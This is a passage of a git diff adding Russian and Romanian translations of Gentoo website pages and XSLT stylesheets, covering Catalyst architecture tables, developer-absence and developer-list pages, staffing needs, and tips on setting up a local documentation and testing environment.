+pentru a construi ultima versiune oficială, precum şi în tiparele exemplu.
+</note>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>Arhitecturi Suportate</title>
+<section>
+<body>
+
+<p>
+Catalyst suportă un număr de arhitecturi. În vocabularul catalyst, o
+"architectură" este un tip general de platformă CPU. Iată o listă completă a
+arhitecturilor suportate de catalyst:
+</p>
+
+<table>
+<tr>
+  <th>Arhitectură</th>
+  <th>Descriere</th>
+</tr>
+<tr>
+  <ti><c>x86</c></ti>
+  <ti>PC-uri compatibile Intel, pornind de la i386 şi până la Pentium 4 şi Athlon XP</ti>
+</tr>
+<tr>
+  <ti><c>amd64</c></ti>
+  <ti>
+    Platforma AMD pe 64 biţi, cunoscută şi ca "Opteron" sau "x86-64".
+    Aceasta include şi maşinile Intel EM64T.
+  </ti>
+</tr>
+<tr>
+  <ti><c>alpha</c></ti>
+  <ti>Procesorul Alpha (toate modelele)</ti>
+</tr>
+<tr>
+  <ti><c>hppa</c></ti>
+  <ti>Sistemele HP PA-RISC</ti>
+</tr>
+<tr>
+  <ti><c>ia64</c></ti>
+  <ti>Platforma Intel pe 64 biţi Itanium (Itanium Classic şi Itanium 2)</ti>
+</tr>
+<tr>
+  <ti><c>ppc</c></ti>
+  <ti>Platforma Apple PowerPC, incluzând sistemele originale PowerPC, G3, G4 şi G5 pe 32 biţi</ti>
+</tr>
+<tr>
+  <ti><c>s390</c></ti>
+  <ti>Platforma IBM S/390, incluzând maşinile zSeries</ti>
+</tr>
+<tr>
+  <ti><c>sparc</c></ti>
+  <ti>Sistemele pe 32 biţi bazate pe Sparc
+</ti>
+</tr>
+<tr>
+  <ti><c>sparc64</c></ti>
+  <ti>Sistemele pe 64 biţi bazate pe Sparc</ti>
+</tr>
+<tr>
+  <ti><c>mips</c></ti>
+  <ti>Sistemele bazate pe MIPS</ti>
+</tr>
+<tr>
+  <ti><c>arm</c></ti>
+  <ti>Procesoarele bazate pe ARM</ti>
+</tr>
+</table>
+
+<p>
+Pentru fiecare arhitectură, catalyst suportă un număr de "sub-arhitecturi." O
+sub-arhitectură este o variantă specifică a unei arhitecturi. De exemplu,
+<c>pentium4</c> este o sub-arhitectură a arhitecturii <c>x86</c>. Iată o listă
+cu toate sub-arhitecturile suportate de catalyst:
+</p>
+
+<table>
+<tr>
+  <th>Arhitectură</th>
+  <th>Sub-arhitecturi</th>
+</tr>
+<tr>
+  <ti><c>x86</c></ti>
+  <ti><c>x86 i386 i486 i586 i686 pentium-mmx athlon athlon-xp athlon-mp pentium3 pentium4</c></ti>
+</tr>
+<tr>
+  <ti><c>amd64</c></ti>
+  <ti><c>amd64</c></ti>
+</tr>
+<tr>
+  <ti><c>alpha</c></ti>
+  <ti><c>alpha ev4 ev45 ev5 ev56 pca56 ev6 ev67</c></ti>
+</tr>
+<tr>
+  <ti><c>hppa</c></ti>
+  <ti><c>hppa</c></ti>
+</tr>
+<tr>
+  <ti><c>ia64</c></ti>
+  <ti><c>ia64</c></ti>
+</tr>
+<tr>
+  <ti><c>ppc</c></ti>
+  <ti><c>ppc power-ppc g3 g4</c></ti>
+</tr>
+<tr>
+  <ti><c>s390</c></ti>
+  <ti><c>s390</c></ti>
+</tr>
+<tr>
+  <ti><c>sparc</c></ti>
+  <ti><c>sparc</c></ti>
+</tr>
+<tr>
+  <ti><c>sparc64</c></ti>
+  <ti><c>sparc64</c></ti>
+</tr>
+<tr>
+  <ti><c>mips</c></ti>
+  <ti><c>mips mips1 mips2 mips3 mips4 mipsel mipsel1 mipsel2 mipsel3 mipsel4 cobalt</c></ti>
+</tr>
+<tr>
+  <ti><c>arm</c></ti>
+  <ti><c>arm</c></ti>
+</tr>
+</table>
+
+<p>
+Veţi observa că toate arhitecturile au o sub-arhitectură cu acelaşi nume cu cel
+al arhitecturii. Această sub-arhitectură se doreşte a reprezenta o versiune
+"generică" care ar trebui să meargă pe toate sistemele arhitecturii respective.
+Fiecare sub-arhitectură are asociat un set de <c>CFLAGS</c>, <c>CXXFLAGS</c>,
+precum şi <c>CHOST</c> şi setul de variabile <c>USE</c> care sunt activate
+pentru respectiva sub-arhitectură. Setările <c>USE</c> sunt folosite pentru
+activarea oricărei opţiuni specifice CPU, cum sunt <c>mmx</c> sau
+<c>altivec</c>.
+</p>
+
+<note>
+Acum Catalyst are opţiunea de a se putea construi pe sisteme <c>amd64</c>
+arhive stages specifice arhitecturii <c>x86</c>.
+</note>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/ro/site.xml b/xml/htdocs/proj/ro/site.xml
new file mode 100644
index 00000000..9a93b64d
--- /dev/null
+++ b/xml/htdocs/proj/ro/site.xml
@@ -0,0 +1,77 @@
+<?xml version='1.0'?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide type="project" link="site.xml" lang="ro">
+<title>Pagina proiectelor XML</title>
+<author title="Autor"><mail link="drobbins@gentoo.org">Daniel Robbins</mail></author>
+<author title="Translator"><mail link="alin@gentoo.org">Alin Dobre</mail></author>
+
+<abstract>
+Această pagină conţine informaţii despre "ghidul" proiectului XML, utilizat
+pentru documentaţia Gentoo Linux şi pentru site-ul Web.
+</abstract>
+
+<version>1.3</version>
+<date>2005-10-10</date>
+
+<chapter>
+<title>Guide XML</title>
+
+<section>
+<body>
+
+<p>
+Echipa Gentoo Linux utilizează un format special simplu XML denumit <c>guide
+XML</c> pentru toate paginile de documentaţie şi Web. Dacă sunteţi
+interesat în aflarea mai multor informaţii despre acest format, puteţi citi
+seria de articole <e>A site reborn</e> pe <uri
+link="http://www.ibm.com/developerworks">IBM developerWorks</uri>, scrise de
+Daniel Robbins:
+</p>
+
+<ul>
+  <li>
+    În <uri link="/doc/en/articles/l-redesign-1.xml">Partea I</uri>, Daniel
+    crează un plan de acţiune în jurul utilizatorilor şi introduce
+    <c>pytext</c>, un interpretor integrat Python.
+  </li>
+  <li>
+    În <uri link="/doc/en/articles/l-redesign-2.xml">Partea a II-a</uri>,
+    Daniel dezvăluie noul sistem de documentaţie <c>guide XML</c> şi pune
+    la dispoziţie o listă de difuzare zilinică pentru jurnalele CVS.
+  </li>
+  <li>
+    În <uri link="/doc/en/articles/l-redesign-3.xml">Partea a III-a</uri>,
+    Daniel proiectează un nou aspect pentru site, ca o entitate.
+  </li>
+  <li>
+    În <uri link="/doc/en/articles/l-redesign-4.xml">Partea a IV-a</uri>,
+    Daniel încheie conversia în XML/XSLT, rezolvă unele probleme de
+    compatibilitate cu aplicaţia browser Netscape 4.x, şi adaugă un
+    "Changelog" XML auto-generat pe site.
+  </li>
+</ul>
+
+<p>
+Avem, de asemenea, un <uri link="/doc/en/xml-guide.xml">Ghid de Documentaţie
+Gentoo Linux</uri> ce explică modul de utilizare al formatului <c>guide
+XML</c>.
+</p>
+<!--
+Puteţi descărca ultima versiunea a utilitarelor <c>guide XML</c> ce conţine, de
+fapt, o versiune snapshot CVS a tuturor fişierelor utilizate pentru a crea
+site-ul Web: <uri
+link="/dyn/arch/xml-guide-latest.tar.gz">xml-guide-latest.tar.gz</uri>. Această
+arhivă tar este regenerată automat de fiecare dată când site-ul Web Gentoo
+Linux este actualizat, deci va fi mereu la zi. Intrucţiunile despre modul de
+utilizare al fişierelor incluse pot fi regăsite în <uri
+link="/doc/en/xml-guide.xml">Ghidul de Documentaţie Gentoo Linux</uri> (Ca
+informaţie, arhiva tar conţine o versiune snapshot a directorului
+<path>gentoo-web</path> din modulul nostr CVS <path>gentoo-src</path>.)
+-->
+
+</body>
+</section>
+</chapter>
+</guide>
+
diff --git a/xml/htdocs/proj/ru/devrel/rollcall/devaway.xml b/xml/htdocs/proj/ru/devrel/rollcall/devaway.xml
new file mode 100644
index 00000000..e22fda0f
--- /dev/null
+++ b/xml/htdocs/proj/ru/devrel/rollcall/devaway.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/proj/ru/devrel/roll-call/devaway.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE devaway SYSTEM "/dtd/guide.dtd" [
+  <!ELEMENT devaway (title, author+, abstract, version, today, chapter*, devs, chapter+)>
+    <!ATTLIST devaway link CDATA #REQUIRED>
+    <!ELEMENT devs  EMPTY>
+    <!ELEMENT today EMPTY>
+]>
+
+<devaway link="devaway.xml">
+<title>Отсутствующие разработчики Gentoo</title>
+
+<author title="автор">
+  <mail link="neysx@gentoo.org">Xavier Neys</mail>
+</author>
+
+<abstract>
+На этой странице находится список отсутствующих разработчиков Gentoo.
+</abstract>
+
+<version>1.1</version>
+<today/>
+
+<chapter>
+<title>Отсутствующие разработчики Gentoo</title>
+<section>
+<body>
+
+<p>
+В следующей таблице приведен список отсутствующих разработчиков Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+
+  <!-- Add table (done by devaway.xsl) -->
+  <devs/>
+
+<chapter>
+<title>Как пользоваться системой Devaway?</title>
+<section>
+<body>
+
+<p>
+<b>На <c>dev.gentoo.org</c> :</b>
+</p>
+
+</body>
+</section>
+<section>
+<title>Чтобы сообщить об отсутствии</title>
+<body>
+
+<pre caption="При отъезде">
+<comment>(уехал без записки)</comment>
+$ <i>touch ~/.away</i>
+
+<comment>(оставил записку, уже намного лучше)</comment>
+$ <i>echo "I'll be away until Aug 30, contact $dev1 or $dev2 in my absence" &gt; ~/.away</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>По возвращении</title>
+<body>
+
+<pre caption="Возвращение">
+$ <i>rm ~/.away</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+</devaway>
diff --git a/xml/htdocs/proj/ru/devrel/rollcall/devaway.xsl b/xml/htdocs/proj/ru/devrel/rollcall/devaway.xsl
new file mode 100644
index 00000000..e3a25d7e
--- /dev/null
+++ b/xml/htdocs/proj/ru/devrel/rollcall/devaway.xsl
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"
+                xmlns:func="http://exslt.org/functions"
+                xmlns:exslt="http://exslt.org/common"
+                extension-element-prefixes="func exslt">
+
+<xsl:output encoding="UTF-8" method="xml" indent="yes" doctype-system="/dtd/guide.dtd"/>
+<xsl:include href="/xsl/inserts.xsl" />
+
+<xsl:variable name="devaway" select="document('/dyn/devaway/devaway.xml')"/>
+<xsl:param name="select"/>
+
+<xsl:template match="today">
+  <!--<date><xsl:value-of select="exslt:node-set($devaway)/devaway/@date"/></date>-->
+  <date><xsl:value-of select="func:today()"/></date>
+</xsl:template>
+
+<xsl:template match="/devaway">
+  <mainpage id="projects" link="{@link}">
+    <xsl:apply-templates/>
+  </mainpage>
+</xsl:template>
+
+<xsl:template match="devs">
+<chapter>
+<title>Состояние</title>
+<section>
+<title>
+Последнее обновление: <xsl:value-of select="exslt:node-set($devaway)/devaway/@date"/>
+</title>
+<body>
+<table>
+<tr>
+ <th>Разработчик</th>
+ <th>Состояние</th>
+</tr>
+<xsl:for-each select='exslt:node-set($devaway)/devaway/dev'>
+  <xsl:sort select="@nick"/>
+  <tr id="{@nick}">
+  <th><xsl:value-of select="@nick"/></th>
+  <ti>
+   <xsl:choose>
+    <xsl:when test="$select = @nick">
+     <brite><xsl:value-of select="reason"/></brite>
+    </xsl:when>
+    <xsl:otherwise>
+     <xsl:value-of select="reason"/>
+    </xsl:otherwise>
+   </xsl:choose>
+  </ti>
+  </tr>
+</xsl:for-each>
+</table>
+</body>
+</section>
+</chapter>
+</xsl:template>
+
+<xsl:template match="*|@*|comment()|text()">
+  <xsl:copy>
+    <xsl:apply-templates select="*|@*|comment()|text()"/>
+  </xsl:copy>
+</xsl:template>
+</xsl:stylesheet>
diff --git a/xml/htdocs/proj/ru/devrel/rollcall/userinfo-devlist.xsl b/xml/htdocs/proj/ru/devrel/rollcall/userinfo-devlist.xsl
new file mode 100644
index 00000000..22ff7f9d
--- /dev/null
+++ b/xml/htdocs/proj/ru/devrel/rollcall/userinfo-devlist.xsl
@@ -0,0 +1,128 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"
+                xmlns:exslt="http://exslt.org/common"
+                extension-element-prefixes="exslt" >
+
+<xsl:preserve-space elements="*"/>
+<xsl:param name="statusFilter"/>
+
+<xsl:variable name="devaway" select='document("/dyn/devaway/devaway.xml")'/>
+
+<xsl:template match="/userlist">
+  <mainpage id="about" lang="ru">
+    <title>Разработчики Gentoo Linux</title>
+    <author title="сформировано сценарием"><mail link="devrel@gentoo.org">Проект взаимодействия с разработчиками Gentoo</mail></author>
+
+    <version>Текущая</version>
+    <chapter>
+    <section>
+    <title>
+      Список 
+      <xsl:choose>
+        <xsl:when test="$statusFilter = ''">действующих</xsl:when>
+        <xsl:when test="$statusFilter = 'Retired'">отставных</xsl:when>
+        <xsl:otherwise>'<xsl:value-of select="$statusFilter"/>'</xsl:otherwise>
+      </xsl:choose>
+      разработчиков Gentoo Linux
+    </title>
+    <body>
+      <p>
+        <xsl:choose>
+          <xsl:when test="$statusFilter = ''">
+            В следующей таблице приведен список действующих разработчиков
+            Gentoo. Отставные разработчики перечислены на странице
+            <uri link="userinfo.xml?statusFilter=Retired">отставных
+            разработчиков Gentoo</uri>.
+          </xsl:when>
+          <xsl:when test="$statusFilter = 'Retired'">
+            В следующей таблице приведен список отставных разработчиков Gentoo.
+            Действующие разработчики перечислены на странице <uri
+            link="userinfo.xml">разработчиков Gentoo</uri>.
+          </xsl:when>
+        </xsl:choose>
+      </p>
+        <xsl:if test="$statusFilter = ''">
+          <p>
+            С разработчиками можно связаться, направив сообщение по адресу
+            псевдоним AT gentoo.org; многих разработчиков можно найти на
+            IRC (freenode) на канале #gentoo или #gentoo-dev (требуется право
+            голоса) под соответствующим псевдонимом.
+          </p>
+          <p>
+            Перед тем, как пытаться с кем-то связаться, желательно убедиться,
+            что его нет в списке <uri link="devaway.xml">отсутствующих
+            разработчиков</uri>.
+          </p>
+      </xsl:if>
+      <table>
+      <tr>
+        <th>Псевдоним</th>
+        <th>Имя</th>
+        <th>
+          <xsl:if test="$statusFilter != 'Retired'">Ключ GPG</xsl:if>
+          <xsl:if test="$statusFilter = 'Retired'">Состояние</xsl:if>
+        </th>
+        <th>Местонахождение</th>
+        <th>Области ответственности</th>
+      </tr>
+      <xsl:for-each select="user">
+        <xsl:sort select="@username"/>
+        <tr>
+          <xsl:variable name="username" select="@username"/>
+          <th><xsl:value-of select="$username"/></th>
+          <ti>
+            <xsl:choose>
+              <xsl:when test="realname/@fullname">
+                <xsl:value-of select="realname/@fullname"/>
+              </xsl:when>
+              <xsl:otherwise>
+                <xsl:value-of select="realname/firstname"/><xsl:text> </xsl:text><xsl:value-of select="realname/familyname"/>
+              </xsl:otherwise>
+            </xsl:choose>
+          </ti>
+          <ti>
+            <xsl:if test="$statusFilter != 'Retired'">
+              <xsl:choose>
+                <xsl:when test="starts-with(pgpkey, '0x')">
+                  <xsl:value-of select="translate(pgpkey,'abcdef','ABCDEF')"/>
+                </xsl:when>
+                <xsl:when test="string-length(pgpkey) = 8">
+                  0x<xsl:value-of select="translate(pgpkey,'abcdef','ABCDEF')"/>
+                </xsl:when>
+                <xsl:when test="string-length(pgpkey) &gt; 0">
+                  Неверный формат ключа!
+                </xsl:when>
+              </xsl:choose>
+            </xsl:if>
+            <xsl:if test="$statusFilter = 'Retired'">
+              <xsl:if test="status and status != 'active'">
+                <xsl:value-of select="concat(translate(substring(status, 1, 1 ),'abcdefghijklmnopqrstuvwxyz', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'), substring(status, 2, string-length(status)))" />
+              </xsl:if>
+            </xsl:if>
+          </ti>
+          <ti>
+            <xsl:if test="location"><xsl:value-of select="location"/></xsl:if>
+            <xsl:if test="$devaway/devaway/dev[@nick=$username]">
+              (<uri><xsl:attribute name="link"><xsl:value-of select="concat('devaway.xml?select=', $username,'#',$username)"/></xsl:attribute>away</uri>)
+            </xsl:if>
+          </ti>
+          <ti>
+            <xsl:choose>
+              <xsl:when test="roles">
+                <xsl:value-of select="roles"/>
+              </xsl:when>
+              <xsl:otherwise></xsl:otherwise>
+            </xsl:choose>
+          </ti>
+        </tr>
+      </xsl:for-each>
+    </table>
+  </body>
+
+</section>
+</chapter>
+</mainpage>
+</xsl:template>
+</xsl:stylesheet>
diff --git a/xml/htdocs/proj/ru/devrel/staffing-needs/staffing-needs.xsl b/xml/htdocs/proj/ru/devrel/staffing-needs/staffing-needs.xsl
new file mode 100644
index 00000000..16488e68
--- /dev/null
+++ b/xml/htdocs/proj/ru/devrel/staffing-needs/staffing-needs.xsl
@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+                xmlns:exslt="http://exslt.org/common"
+                xmlns:func="http://exslt.org/functions"
+                extension-element-prefixes="exslt func"
+                version="1.0">
+<xsl:output encoding="UTF-8" method="xml" indent="no" doctype-system="/dtd/project.dtd"/>
+<xsl:include href="/xsl/inserts.xsl"/>
+
+<xsl:template match="/staffingNeeds">
+<project>
+  <name>Требуются сотрудники</name>
+  <longname>Gentoo Linux требуются сотрудники</longname>
+
+  <date>сегодня</date>
+  <author title="сценарий"><mail link="devrel@gentoo.org">проект взаимодействия с разработчиками Gentoo</mail></author>
+
+  <description>
+    На этой странице перечислены заявки на разработчиков Gentoo, полученные рекрутерами Gentoo.
+  </description>
+  <longdescription>
+    На этой странице перечисляются области, в которых Gentoo занят активным
+    расширением разработки. Места открыты как для существующих разработчиков
+    Gentoo, так и для тех, кто хочет стать разработчиком Gentoo. Список
+    отсортирован по приоритету, от наибольшего к наименьшему.
+  </longdescription>
+  <extrachapter position="bottom">
+    <title>Gentoo Linux требуются сотрудники</title>
+    <section>
+    <body>
+      <p>
+        На этой странице перечислены не все области, где приветствуется
+        вклад новых участников, а лишь те, где разработчики нужны больше всего.
+        Если вам интересно помочь в другой области, не стесняясь,
+        напрямую свяжитесь с соответствующей группой разработчиков.
+      </p>
+      <p>
+        Если вы заинтересованы помочь в проекте документации Gentoo (Gentoo
+        Documentation Project), пожалуйста, ознакомьтесь с запросами,
+        требующими внимания, в 
+        <uri link="/proj/en/gdp/roadmap.xml">генплане GDP (англ.)</uri>.
+      </p>
+      <p>
+        Если вы хотите принять участие в любой из следующих задач, пожалуйста,
+        свяжитесь с <mail link="recruiters@gentoo.org">Gentoo Recruiters</mail>,
+        направив копию своей заявки контактному лицу, указанному в списке.
+      </p>
+      <!-- Warn Russian reader that English use is mandatory -->
+      <impo>
+        Вся разработка и переписка по проектам Gentoo, кроме команд локализации,
+        ведется только на английском языке! <e>- прим. пер.</e>
+      </impo>
+      <table>
+        <tr>
+          <th>Приоритет</th>
+          <th>Тема</th>
+          <th>Описание</th>
+        </tr>
+        <xsl:for-each select="needed">
+          <!-- Key by priority; then alphabetically...
+         No @priority is treated lowest, so this works as we need it to. -->
+          <xsl:sort select="summary/@priority" order="ascending"/>
+          <!-- Yes, this is messy; but XSLT doesn't natively
+         support case-insensitive sorting. This does it. -->
+          <xsl:sort select="translate(summary, 'abcdefghijklmnopqrstuvwxyz', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ')"/>
+          <tr>
+            <ti>
+              <xsl:choose>
+                <xsl:when test="summary/@priority != ''">
+                  <xsl:value-of select="summary/@priority"/>
+                </xsl:when>
+                <xsl:otherwise>1</xsl:otherwise>
+              </xsl:choose>
+            </ti>
+            <ti>
+              <xsl:value-of select="summary"/>
+            </ti>
+            <ti>
+              Открыта
+              <xsl:value-of select="func:format-date(summary/@dateRequested,'ru')"/>
+              <xsl:choose>
+                <xsl:when test="contact/@herd != ''"></xsl:when>
+                <xsl:when test="contact/@team != ''"></xsl:when>
+              </xsl:choose>
+              <xsl:choose>
+                <xsl:when test="contact/@name != ''">
+                  <mail link="{contact}">
+              <xsl:value-of select="contact/@name"/>
+              <xsl:choose>
+                <!-- IMPORTANT: Do not split up the two
+                     lines below -->
+                <xsl:when test="contact/@herd != ''"> Herd</xsl:when>
+                <xsl:when test="contact/@team != ''"> Team</xsl:when>
+              </xsl:choose>
+                  </mail>:
+                </xsl:when>
+                <xsl:otherwise>
+                  <mail link="{contact}">
+              <xsl:value-of select="contact"/>
+              <xsl:choose>
+                <!-- IMPORTANT: Do not split up the two
+                     lines below -->
+                <xsl:when test="contact/@herd != ''"> Herd</xsl:when>
+                <xsl:when test="contact/@team != ''"> Team</xsl:when>
+              </xsl:choose>
+                  </mail>:
+                </xsl:otherwise>
+              </xsl:choose>
+              <xsl:text> </xsl:text>
+              <xsl:value-of select="description"/>
+            </ti>
+          </tr>
+        </xsl:for-each>
+      </table>
+    </body>
+    </section>
+  </extrachapter>
+</project>
+</xsl:template>
+</xsl:stylesheet>
diff --git a/xml/htdocs/proj/ru/gdp/doc/doc-tipsntricks.xml b/xml/htdocs/proj/ru/gdp/doc/doc-tipsntricks.xml
new file mode 100644
index 00000000..189f71a1
--- /dev/null
+++ b/xml/htdocs/proj/ru/gdp/doc/doc-tipsntricks.xml
@@ -0,0 +1,574 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ru/gdp/doc/doc-tipsntricks.xml,v 1.4 2006/09/20 22:41:16 achumakov Exp $ -->
+
+<guide link="/proj/ru/gdp/doc/doc-tipsntricks.xml" lang="ru">
+<title>Советы по разработке документации</title>
+
+<author title="автор">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="редактор">
+  <mail link="neysx@gentoo.org">Xavier Neys</mail>
+</author>
+<author title="переводчик">
+  <mail link="omnifarious@inbox.ru">Антон Филимонов</mail>
+</author>
+<author title="редактор перевода">
+  <mail link="achumakov@gentoo.org">Алексей Чумаков</mail>
+</author>
+
+<abstract>
+Несколько полезных советов, облегчающих (или обедняющих :) жизнь разработчику
+документации Gentoo.
+</abstract>
+
+<license/>
+
+<version>0.25</version>
+<date>2005-07-20</date>
+
+<chapter>
+<title>Настройка вашей собственной среды</title>
+<section>
+<title>Локальная среда для участников</title>
+<body>
+
+<p>
+Создайте отдельный каталог, предназначенный исключительно для разработки
+документации. В качестве примера мы используем <path>~/work/gentoo/doc</path>.
+В этом каталоге создайте подкаталог, в котором вы будете хранить актуальную
+английскую документацию (например, <path>en/</path>).
+</p>
+
+<p>
+Загрузите архив самой свежей английской документации:
+</p>
+
+<pre caption="Загрузка английской документации">
+$ <i>wget http://www.gentoo.org/dyn/doc-snapshots/docs-latest-en.tar.bz2</i>
+</pre>
+
+<p>
+Распакуйте документацию в каталог <path>en/</path>. Теперь у вас есть 
+актуальный снимок английской документации. Каждый раз, при желании
+обновить снимок, вы можете заново загрузить архив, но также можно 
+загрузить документ с сайта, добавив <path>?passthru=1</path> к его
+адресу URL. Например:
+</p>
+
+<pre caption="Обновление английского документа">
+$ <i>wget http://www.gentoo.org/doc/en/alsa-guide.xml?passthru=1 -O alsa-guide.xml</i>
+</pre>
+
+<p>
+Если вы собираетесь участвовать в переводе документов, создайте каталог для  
+хранения текущих переводов на ваш язык:
+</p>
+
+<pre caption="Загрузка снимка документов на вашем языке">
+$ <i>mkdir </i><comment>${LANG}</comment>
+$ <i>cd </i><comment>${LANG}</comment>
+$ <i>wget http://www.gentoo.org/dyn/doc-snapshots/docs-latest-</i><comment>${LANG}</comment><i>.tar.bz2</i>
+$ <i>tar xvjf docs-latest-*.tar.bz2</i>
+</pre>
+
+<p>
+При обновлении документа всегда сначала копируйте его из <path>${LANG}/</path>
+в корневой каталог (<path>~/work/gentoo/doc</path>) , а затем редактируйте копию.
+Вам нужно сохранять оригинал, чтобы создать файл исправлений:
+</p>
+
+<pre caption="Создание файла исправлений для обновления документа">
+$ <i>diff -U6 </i><comment>${LANG}</comment><i>/alsa-guide.xml alsa-guide.xml</i> > alsa-guide.diff
+</pre>
+
+</body>
+</section>
+<section>
+<title>Веб-доступ в репозиторий CVS</title>
+<body>
+
+<p>
+С помощью <uri link="http://sources.gentoo.org/">веб-доступа к нашему репозиторию
+CVS</uri> вы можете получить отчет о различиях между отдельными версиями. Весь
+основной английский репозиторий находится
+<uri link="http://sources.gentoo.org/gentoo/xml/htdocs/doc/en/">здесь</uri>.
+Отметьте,что репозиторий обновляется раз в час.
+</p>
+
+</body>
+</section>
+<section>
+<title>Локальный репозиторий (для разработчиков)</title>
+<body>
+
+<p>
+Создайте рабочий каталог специально для Gentoo, например,
+<path>~/work/gentoo/doc</path>. Затем создайте подкаталог <path>cvs/</path>,
+чтобы поместить в него снимок CVS:
+</p>
+
+<pre caption="Получение снимка CVS">
+$ <i>mkdir cvs; cd cvs/</i>
+$ <i>export CVSROOT=</i><comment>&lt;ваш ник&gt;</comment><i>@cvs.gentoo.org:/var/cvsroot</i>
+$ <i>cvs co doc</i>
+</pre>
+
+<p>
+Для обновления снимка CVS запускайте команду <c>cvs update -dP</c> в
+каталоге <path>cvs/doc</path>.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Тестирование GuideXML</title>
+<section>
+<title>Cреда тестирования</title>
+<body>
+
+<p>
+Сначала создайте каталог <path>test/</path>, где будут находиться
+<path>guide.dtd</path>, <path>main.css</path> и несколько картинок:
+</p>
+
+<pre caption="Создание среды тестирования">
+$ <i>mkdir -p test/{css,images}</i>
+$ <i>cd test</i>
+$ <i>wget -P css/ http://www.gentoo.org/css/main.css</i>
+$ <i>wget -P images/ http://www.gentoo.org/images/gridtest.gif \
+  http://www.gentoo.org/images/gentoo-new.gif \
+  http://www.gentoo.org/images/gtop-www.jpg</i>
+</pre>
+
+<p>
+Теперь загрузите специальную версию <path>guide.xsl</path>, расположенную
+<uri link="http://dev.gentoo.org/~neysx/guide.xsl">на странице neysx</uri>. Эта
+версия приспособлена для преобразования GuideXML в HTML на локальных машинах и 
+поддерживает множество языков. Также есть ссылка на <uri 
+link="http://dev.gentoo.org/~neysx/guide-en.xsl">значительно более краткий 
+вариант</uri>, поддерживающий только английский.
+</p>
+
+<pre caption="Загрузка guide.xsl">
+$ <i>wget http://dev.gentoo.org/~neysx/guide.xsl</i>
+<comment>( <b>или</b>, если все что нужно - это английский)</comment>
+$ <i>wget -O guide.xsl http://dev.gentoo.org/~neysx/guide-en.xsl</i>
+</pre>
+
+<p>
+Наконец, от имени root добавьте в <path>/etc/xml/catalog</path> следующую 
+строку (между тегами catalog - <e>прим. пер.</e>):
+</p>
+
+<pre caption="Добавление в /etc/xml/catalog">
+&lt;rewriteURI uriStartString="/dtd" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+</pre>
+
+<p>
+Если ваш <path>/etc/xml/catalog</path> пуст или не содержит ни одной записи,
+вам потребуется <e>вставить</e> элемент <c>&lt;rewriteURI&gt;</c> <e>внутри</e>
+элемента <c>&lt;catalog&gt;</c>:
+</p>
+
+<pre caption="Минимальный /etc/xml/catalog">
+&lt;?xml version="1.0"?&gt;
+&lt;!DOCTYPE catalog PUBLIC "-//OASIS//DTD Entity Resolution XML Catalog V1.0//EN" "http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd"&gt;
+&lt;catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog"&gt;
+  &lt;rewriteURI uriStartString="/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+&lt;/catalog&gt;
+</pre>
+
+<p>
+Кроме того, в некоторых файлах может быть указан DTD, находящийся в сети, с 
+адресом URI, подобным <path>http://www.gentoo.org/dtd/guide.dtd</path>.
+Такие ссылки вы также можете заменить, исключив медленное обращение к сети:
+</p>
+
+<pre caption="Дополнение в /etc/xml/catalog">
+&lt;rewriteURI uriStartString="http://www.gentoo.org/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Тестирование документации Gentoo</title>
+<body>
+
+<p>
+Чтобы протестировать документ Gentoo, сначала запустите <c>xmllint</c>
+(из <c>dev-libs/libxml2</c>), чтобы убедиться, что в нем используется
+корректный XML:
+</p>
+
+<pre caption="Использование xmllint для проверки документов">
+$ <i>xmllint --valid --noout alsa-guide.xml</i>
+</pre>
+
+<p>
+Если <c>xmllint</c> ничего не возвращает, то файл не содержит ошибок
+(относящихся к тегам XML). Затем нужно преобразовать его в HTML
+с помощью <c>xsltproc</c> (из <c>dev-libs/libxslt</c>)
+</p>
+
+<pre caption="Преобразование в HTML">
+$ <i>xsltproc test/guide.xsl alsa-guide.xml &gt; test/alsa-guide.html</i>
+</pre>
+
+<p>
+Если не выводятся сообщения об ошибках, вы скорее всего сможете открыть в
+браузере файл <uri>file:///home/user/work/gentoo/doc/test/alsa-guide.html</uri>
+для просмотра получившегося документа. В противном случае, исправляйте
+документ, пока он не станет безошибочным.
+</p>
+
+</body>
+</section>
+<section>
+<title>Тестирование настольной книги Gentoo </title>
+<body>
+
+<p>
+Настольная книга Gentoo разделена на главы. Для обработки отдельной главы, 
+практически такой же, какая выполняется нашим веб-сервером, нужно использовать 
+как файл <path>handbook-x86.xml</path>, так и требуемый <path>hb-</path>файл 
+(например, <path>hb-install-about.xml</path>). Еще нужно передать 
+<c>xsltproc</c> те же параметры, которые используются при просмотре настольной 
+книги, а именно <c>part</c> и <c>chap</c>. Ниже приведен пример проверки
+<path>hb-install-about.xml</path>. Имейте в виду, что требуется наличие всех 
